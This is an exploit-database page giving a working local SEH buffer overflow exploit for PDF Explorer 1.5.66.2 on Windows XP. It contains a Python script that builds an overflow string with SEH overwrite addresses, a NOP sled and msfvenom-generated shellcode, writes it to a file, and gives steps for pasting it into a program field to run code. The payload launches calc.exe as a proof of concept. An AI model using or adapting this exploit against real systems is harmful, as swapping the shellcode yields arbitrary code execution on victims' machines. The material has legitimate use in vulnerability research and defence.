PDF Explorer 1.5.66.2 SEH Buffer Overflow

2018.12.20
Credit: Achilles
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-119

# Exploit Title: PDF Explorer SEH Local Exploit # Original Discovery:Gionathan "John" Reale (DoS exploit) # Exploit Author: Achilles # Date: 18-12-2018 # Vendor Homepage: http://www.rttsoftware.com/ # Software Link: https://www.rttsoftware.com/files/PDFExplorerTrialSetup.zip # Tested Version: 1.5.66.2 # Tested on: Windows XP SP3 # 1.- Run python code : PDF_Explorer.py # 2.- Open EVIL.txt and copy content to clipboard # 3.- Open PDF Explorer # 4.- When inside the program click "Database" > "Custom fields settings... " # 5.- Paste the content of EVIL.txt into the Field:'Label'and the calculator will Open # 7.- Greetings go:XiDreamzzXi,Metatron #!/usr/bin/python #!/usr/bin/env python buffer =3D "\x41" * 292 NSEH =3D "\xeb\x06\x90\x90" #jmp short 6 SEH =3D "\x3f\x28\xd1\x72" #0x72d1283f pop eax # pop esi # ret 0x04 [msacm32.drv] nops =3D "\x90" * 20 #msfvenom -p windows/exec CMD=3Dcalc.exe -b "\x00\x0a\x0d\x23\x80" -f pytho= n schellcode =3D ("\xda\xcb\xbf\xbd\x81\x73\x52\xd9\x74\x24\xf4\x5e\x29"=20 "\xc9\xb1\x31\x31\x7e\x18\x03\x7e\x18\x83\xc6\xb9\x63" "\x86\xae\x29\xe1\x69\x4f\xa9\x86\xe0\xaa\x98\x86\x97" "\xbf\x8a\x36\xd3\x92\x26\xbc\xb1\x06\xbd\xb0\x1d\x28" "\x76\x7e\x78\x07\x87\xd3\xb8\x06\x0b\x2e\xed\xe8\x32" "\xe1\xe0\xe9\x73\x1c\x08\xbb\x2c\x6a\xbf\x2c\x59\x26" "\x7c\xc6\x11\xa6\x04\x3b\xe1\xc9\x25\xea\x7a\x90\xe5" "\x0c\xaf\xa8\xaf\x16\xac\x95\x66\xac\x06\x61\x79\x64" "\x57\x8a\xd6\x49\x58\x79\x26\x8d\x5e\x62\x5d\xe7\x9d" "\x1f\x66\x3c\xdc\xfb\xe3\xa7\x46\x8f\x54\x0c\x77\x5c" "\x02\xc7\x7b\x29\x40\x8f\x9f\xac\x85\xbb\x9b\x25\x28" "\x6c\x2a\x7d\x0f\xa8\x77\x25\x2e\xe9\xdd\x88\x4f\xe9" "\xbe\x75\xea\x61\x52\x61\x87\x2b\x38\x74\x15\x56\x0e" "\x76\x25\x59\x3e\x1f\x14\xd2\xd1\x58\xa9\x31\x96\x97" "\xe3\x18\xbe\x3f\xaa\xc8\x83\x5d\x4d\x27\xc7\x5b\xce" "\xc2\xb7\x9f\xce\xa6\xb2\xe4\x48\x5a\xce\x75\x3d\x5c" "\x7d\x75\x14\x3f\xe0\xe5\xf4\xee\x87\x8d\x9f\xee") payload =3D buffer + NSEH + SEH + nops + schellcode try: f=open("Evil.txt","w") print "[+] Creating %s bytes evil payload.." %len(payload) f.write(payload) f.close() print "[+] File created!" except: print "File cannot be created"


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top